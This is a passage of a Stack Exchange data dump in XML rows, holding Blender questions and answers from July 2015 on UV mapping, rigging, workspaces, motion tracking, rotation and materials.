  <row Id="34181" PostTypeId="2" ParentId="34168" CreationDate="2015-07-17T22:54:33.053" Score="0" Body="&lt;p&gt;Initial situation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/61hnom.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old Texture is 608x368&#xA;New is 1024x1024&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put 2D cursor to your pivot vertice ad set &quot;Scaling pivot&quot; to &quot;pivot&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9j8Ssm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scale on X by pressing S and than X. The value from reparametrize the UVMap on this axis comes from the operation Old_X_resolution/New_X_resolution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OrfiTm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case 608/1024=0.59&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat for Y axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7RoEpm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Suggestion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this way you are not increasing the amount of details of your texture in the texturing of the word, as the word DOOM contains the same amout of pixel as before, but in a bigger texture.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-07-17T22:54:33.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34182" PostTypeId="2" ParentId="34178" CreationDate="2015-07-17T23:25:20.210" Score="1" Body="&lt;p&gt;Location is not &quot;wrong&quot;.&#xA;Those numbers still represent the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/3D_interaction/Transform_Control/Transform_Properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;global location of the origin of the object&lt;/a&gt;, but location &quot;on the screen&quot; depends also from inherited transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's make an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider two cube objects as the ones in the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yXgLi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The active cube has X_location = 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b8Bzv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parented cube has X_location = 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the are obiuvsly in the X location...this means that the child cube inherit the transformation of the parent object (the armature, whom origins is X location = 1 )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the Cube children object origins is in X = 2, but as the parent object is in X = 1, it appear in X = 2+1 because inherit parent transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easly see by un-parenting the object.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-17T23:43:46.067" LastActivityDate="2015-07-17T23:43:46.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34183" PostTypeId="2" ParentId="34174" CreationDate="2015-07-17T23:35:04.133" Score="10" Body="&lt;p&gt;Blender uses different &lt;a href=&quot;https://www.blender.org/manual/interface/window_system/screens.html#&quot; rel=&quot;nofollow noreferrer&quot;&gt;layout screens&lt;/a&gt; or &lt;a href=&quot;https://docs.blender.org/manual/en/dev/interface/window_system/workspaces.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;workspaces&lt;/a&gt;, all of them customizable.&lt;/p&gt;&#xA;&lt;p&gt;While there are a number of built-in presets, those might not fit your workflow. So create different ones depending on your needs and get into the habit of using keyboard shortcuts to switch between them instead of resizing/splitting/changing modes and making a mess of the interface.&lt;/p&gt;&#xA;&lt;p&gt;For 2.79 the shortcuts are:&lt;/p&gt;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Left&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Right Arrow&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;In 2.8 use:&lt;/p&gt;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Page Up&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Page Down&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or use the menu:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l4k73.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l4k73.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;To make your custom layout screens permanent:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Start blender.&lt;/p&gt;&#xA;&lt;p&gt;On &lt;strong&gt;blender 2.79&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Make new layout screens by pressing on the + sign:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nh6yV.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nh6yV.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Name them as something that make sense to you and re-arrange the windows to suit your needs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LnDN1.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now save all of this as your &lt;a href=&quot;https://docs.blender.org/manual/en/dev/data_system/files/startup_file.html?highlight=startup%20file&quot; rel=&quot;nofollow noreferrer&quot;&gt;startup file&lt;/a&gt; using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;For 2.8&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Create a new workspace by clicking on the plus sign next to the existing workspaces and select Duplicate Current.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3i1SR.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3i1SR.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can rename the workspace by double clicking on the tab and typing a name that makes sense to you.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T9VAx.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T9VAx.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Arrange the workspace to fit your needs, then save the current project as the startup file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J8AA8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J8AA8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From then on, every time you open blender your custom layouts will be loaded.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, if you don't want to make permanent layout screens, just create a duplicate of your default layout and work on that one. That way you can go back to the original when you need.&lt;/p&gt;&#xA;&lt;p&gt;If you moved things around and don't have a default layout screen to go back to, you can save your file, quit blender and re-open it making sure you don't load the &lt;em&gt;User Interface&lt;/em&gt; (un-check the Load UI box). The file will then open using the default startup file's layout.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VtxVy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VtxVy.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q1lG5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="92768" LastEditorDisplayName="user1853" LastEditDate="2021-01-14T16:59:24.620" LastActivityDate="2021-01-14T16:59:24.620" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="34184" PostTypeId="2" ParentId="34180" CreationDate="2015-07-18T01:05:32.157" Score="1" Body="&lt;p&gt;Yes, Go to rendering panel and change the format [ GREEN ] to AVI JPEG or AVI RAW For more high quality without using a sequence of images. Select image files [ GREEN ] Such as PNG or JPEG for image sequences which you can put together manually but are usually more high quality. Click the folder [ YELLOW ] To select where to save the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fgs6V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-07-18T01:05:32.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34185" PostTypeId="1" AcceptedAnswerId="34196" CreationDate="2015-07-18T03:02:41.653" Score="0" ViewCount="424" Body="&lt;p&gt;I'm curious about a problem (?) that I'm having with the rigfy add-on.&#xA;First of all, I have this model with the meta-rig adjusted&#xA;&lt;img src=&quot;https://i.stack.imgur.com/29PHS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until this moment is everything normal.&#xA;But when I click in the generate buttom, all the layers are occuped:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VU5nz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The configuration that (I think) is responsible for the layers occuped is se as default:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CthVz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is a problem because in the videos I saw it didn't occurred.&#xA;Someone knows about this (little?) problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using blender 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my poor english and, since now, thanks.&lt;/p&gt;&#xA;" OwnerUserId="15743" LastActivityDate="2015-07-18T08:17:43.213" Title="Rigify is using all Layers" Tags="&lt;rigify&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-18T09:52:23.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="34186" PostTypeId="1" CreationDate="2015-07-18T03:09:10.580" Score="4" ViewCount="10496" Body="&lt;p&gt;Whenever I unwrap this plane, it seems to be unwrapped horizontally flipped.&#xA;It's a simple plane that is 'subdivided' because it's for a 3D pixel art experiment. Is there anyway to 'flip' the UV? (I know I can just flip the texture in photoshop, but there is something inherently wrong with backwards textures.)&lt;/p&gt;&#xA;&lt;p&gt;Here's a screen capture to show what I mean.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rwh0W.png&quot; alt=&quot;Screen Capture&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="15744" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-07-06T19:08:34.313" Title="UV Unwrap is flipped horizontally?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34187" PostTypeId="1" AcceptedAnswerId="34192" CreationDate="2015-07-18T03:34:21.033" Score="2" ViewCount="9621" Body="&lt;p&gt;I have a video clip filmed on a GoPro in wide angle format.  I've figured out how to apply the Lens Distortion K1, K2, and K3 values which will cancel out the fisheye look of the video.  I drew polylines on the video in the Motion Tracking tab of Blender, and edited the lens distortion K values to match the contour of the polylines to features in the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the polylines do not match up properly because the video needs to be rotated slightly before changing the lens distortion.  I can rotate the video &lt;em&gt;after&lt;/em&gt; applying the distortion just fine.  But I cannot figure out how to apply the rotation transform to the video &lt;em&gt;before&lt;/em&gt; applying the distortion, &lt;em&gt;viewing the rotated video in the motion tracker&lt;/em&gt;, in order to be able to draw polylines on the already rotated video.  Is there a way to do this besides rendering out a rotated video and loading it back into the motion tracker?&lt;/p&gt;&#xA;" OwnerUserId="15746" LastActivityDate="2016-10-21T05:37:58.347" Title="Apply transform (rotation) to video clip before motion tracking" Tags="&lt;transforms&gt;&lt;video&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34188" PostTypeId="2" ParentId="34186" CreationDate="2015-07-18T04:10:10.170" Score="5" Body="&lt;p&gt;Cegaton's comment provides the right answer but leaves out a crucial detail. First, make sure all of the vertices whose assigned textures you want to flip are selected, &lt;strong&gt;then&lt;/strong&gt; switch to the UV editor window, and press the key sequence &lt;kbd&gt;S&lt;/kbd&gt; - &lt;kbd&gt;X&lt;/kbd&gt; - &lt;kbd&gt;1&lt;/kbd&gt; - &lt;kbd&gt;-&lt;/kbd&gt; [hyphen]. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ns&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2016-07-06T19:08:34.313" LastActivityDate="2016-07-06T19:08:34.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34189" PostTypeId="1" CreationDate="2015-07-18T04:38:21.927" Score="5" ViewCount="9047" Body="&lt;p&gt;First, the screenshots: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FRC83.jpg&quot; alt=&quot;rotation_around_diagonals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the highlighted edge in the left excerpt of the screenshot collage above, is there a quicker way to be able to rotate the cube around that edge than rotating the whole cube so that the active edge is parallel to one of the primary axes, making the rotation, and then rotating the cube back to its original position?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about if the cube is chosen, but instead forming the diagonal of one of the faces, one selects the first vertex, and for the other end of the new edge, selects the vertex opposite of the first, along the diagonal of the cube. The new edge referred to is the active edge in the right half of the screenshot excerpt above. Again, is there a faster or more efficient way to rotate around the diagonal, than rotating the cube so the diagonal aligns with one of the primary axes, making the rotation, and then rotating the cube back to its original position? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases, I want to rotate the cube around and perpendicular to the highlighted edge, as in the results screenshots below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5DXqL.jpg&quot; alt=&quot;desired rotation results&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-18T05:02:54.533" LastActivityDate="2017-02-13T04:41:37.840" Title="What's the easiest way to rotate around an edge that is not parallel to a primary axis?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34190" PostTypeId="1" CreationDate="2015-07-18T04:59:16.643" Score="0" ViewCount="71" Body="&lt;p&gt;This is mainly what happens when I try to pose the rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/buRLGWp&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://imgur.com/buRLGWp&lt;/a&gt;  (GIF)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost all the rig works fine except for these few, even though these few should be in the same group:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/39vZz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All of the rig is colored blue in weight paint, no color difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for for the snag in the dress in the gif, I can fix that.&lt;/p&gt;&#xA;" OwnerUserId="15748" LastActivityDate="2015-07-18T04:59:16.643" Title="Some objects don't deform with the others while in pose mode" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34191" PostTypeId="2" ParentId="34189" CreationDate="2015-07-18T05:02:08.263" Score="2" Body="&lt;p&gt;You can rotate along normal if the edge is part of a face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change Pivot Point to &lt;strong&gt;Active Element&lt;/strong&gt;, switch Transform Orientation to &lt;strong&gt;Normal&lt;/strong&gt; and Edge Select mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the cube while the edge that the cube rotated around selected last, then hit &lt;kbd&gt;R&lt;/kbd&gt; button to rotate the cube and &lt;kbd&gt;Y&lt;/kbd&gt; button twice to rotate around the active edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MFvir.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-18T05:02:08.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34192" PostTypeId="2" ParentId="34187" CreationDate="2015-07-18T05:28:00.873" Score="4" Body="&lt;p&gt;Though I don't think is necessary to rotate your image, here's how to do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add two trackers on opposite ends of the frame that don't track anything in the footage, with a a weight of 0 (so they don't add anything to the camera solver) and use those to control the rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Display tab enable &lt;strong&gt;Display Stabilization&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RTLoV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable &lt;strong&gt;2D stabilization&lt;/strong&gt;. Select both trackers and add them to the stabilization box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not enable autoscale, enable &lt;strong&gt;Stabilize Rotation&lt;/strong&gt; and select one of the trackers to control the rotation of the image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/73PSk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can rotate the image now by moving any of the trackers up or down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cqTRO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-18T05:28:00.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34193" PostTypeId="1" AcceptedAnswerId="34194" CreationDate="2015-07-18T07:44:42.967" Score="5" ViewCount="482" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/meKX2.jpg&quot; alt=&quot;beans&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to build something like this. Is there a nice way without just snapping spheres to vertices? It could be interesting to look at using the Fibonacci sequence also to distribute the spheres.&lt;/p&gt;&#xA;" OwnerUserId="15750" LastEditorUserId="2217" LastEditDate="2015-07-18T14:58:07.173" LastActivityDate="2015-07-18T14:58:07.173" Title="model a shape something like a raspberry" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34194" PostTypeId="2" ParentId="34193" CreationDate="2015-07-18T08:02:20.307" Score="7" Body="&lt;p&gt;Take a look at &lt;strong&gt;&lt;a href=&quot;https://www.blender.org/manual/modeling/objects/duplication/dupliverts.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dupliverts&lt;/a&gt;&lt;/strong&gt;, that allows the duplication of a base object at the location of the vertices of a mesh. In other words, when using DupliVerts on a mesh, an instance of the base object is placed on every vertex of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or try the &lt;strong&gt;&lt;a href=&quot;https://github.com/alessandro-zomparelli/tissue&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tissue add-on&lt;/a&gt;&lt;/strong&gt; by &lt;a href=&quot;https://github.com/alessandro-zomparelli/tissue/wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;Alessandro Zomparelli&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to copy a selected object (Component) on the faces of the active object (Generator), adapting its bounding box to the shape of quad-faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/883fd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thread on Blenderartists.org with more examples &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?375378-tissue-by-Alessandro-Zomparelli&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15725" LastEditorDisplayName="user1853" LastEditDate="2015-07-18T14:57:37.383" LastActivityDate="2015-07-18T14:57:37.383" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34195" PostTypeId="1" AcceptedAnswerId="34200" CreationDate="2015-07-18T08:12:09.827" Score="2" ViewCount="3482" Body="&lt;p&gt;I've just found &lt;a href=&quot;http://hiddenus.deviantart.com/art/Eyes-node-set-452225762&quot; rel=&quot;nofollow noreferrer&quot;&gt;following picture&lt;/a&gt;, but I don't know how to recreate this kind of crystal type reflection thing. Can anyone teach me please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4PFno.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15640" LastEditorUserId="3710" LastEditDate="2015-07-18T14:43:48.740" LastActivityDate="2015-07-18T15:03:26.200" Title="How to control eye reflection?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34196" PostTypeId="2" ParentId="34185" CreationDate="2015-07-18T08:17:43.213" Score="1" Body="&lt;p&gt;Bone layers  are different from object layers.&#xA;As i can see from your screenshot, Rigfy has correctly put the bones in different bone layers, to help selection groups when animating, but the &quot;problem&quot; you point at is the fact that all object layers appear &quot;occupied&quot;.&#xA;You can go to the outliner window (or create one), change the pop-up menu from &quot;All scenes&quot; to &quot;visible layers&quot;, select one object layer at time and read in the outliner what's inside, to understand the thing, that - I don't think - is produced by Rigify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, before pushing the &quot;generate&quot; button, apply the scale (Ctrl A) to both your model and the meta-rig.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-18T08:17:43.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34197" PostTypeId="2" ParentId="26938" CreationDate="2015-07-18T08:56:31.750" Score="1" Body="&lt;p&gt;I found it on the bottom left: View -&gt; Align View -&gt; View Selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z2gxa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15751" LastActivityDate="2015-07-18T08:56:31.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34198" PostTypeId="2" ParentId="34189" CreationDate="2015-07-18T09:11:37.383" Score="5" Body="&lt;p&gt;Here is another way ( without effecting the pivot element ):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;switch to (Pivot : cursor, Transform orientation : view, View : orthographic ).&lt;/li&gt;&#xA;&lt;li&gt;select the element and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;-&gt;cursor to selected.&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Shift&lt;/kbd&gt;+(&lt;kbd&gt;1&lt;/kbd&gt; or &lt;kbd&gt;3&lt;/kbd&gt; or &lt;kbd&gt;7&lt;/kbd&gt;) to go to one of the ortho views aligned to the selected element.&lt;/li&gt;&#xA;&lt;li&gt;when in the desired view press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt; then rotate the object according to the view ( use &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; ..).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-18T09:11:37.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34199" PostTypeId="1" AcceptedAnswerId="34201" CreationDate="2015-07-18T10:20:17.373" Score="2" ViewCount="315" Body="&lt;p&gt;I've build this railway:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/myhiQ.png&quot; alt=&quot;railroad tracks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to paint it this way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;to paint the wood which cut the railway brown.&lt;/li&gt;&#xA;&lt;li&gt;and the rest of railway with gray color.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How could I do that?&#xA;If I add a material it will paint all the railway the same color.&lt;/p&gt;&#xA;" OwnerUserId="15752" LastEditorUserId="2217" LastEditDate="2015-07-18T14:55:39.387" LastActivityDate="2015-07-25T17:18:49.817" Title="what is the easiest way to paint train railway?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34200" PostTypeId="2" ParentId="34195" CreationDate="2015-07-18T10:30:46.323" Score="4" Body="&lt;p&gt;As far as I can see in the picture and the &lt;a href=&quot;http://www.deviantart.com/art/Eyes-node-set-452225762&quot; rel=&quot;nofollow noreferrer&quot;&gt;material node provided from creator&lt;/a&gt; (which contain some errors in my opinion) the reflection is achieved by simply mixing a glossy shader and a diffuse shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sharpness of the reflection is driven by the &quot;Roughness&quot; value of the shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTpSK.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;High Roughness value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4jkfL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Roughness value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B51lx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-18T10:47:38.197" LastActivityDate="2015-07-18T10:47:38.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34201" PostTypeId="2" ParentId="34199" CreationDate="2015-07-18T11:10:01.593" Score="4" Body="&lt;p&gt;If you have modeled the railway with athe combo of array+curve modifiers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w3f9S.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest to assign materials before applying modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wd5kr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have already applied modifiers and you have a similar topology, you can select linked by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; while at least one face of each metal binaries is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w2RpFm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q5uikm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;than assing those faces your metal material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have non-linear topology, you'll have to try to mask selection using a combination of selection tools depending on your own topology:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xdmYNm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/krUlQm.jpg&quot; alt=&quot;enter image description 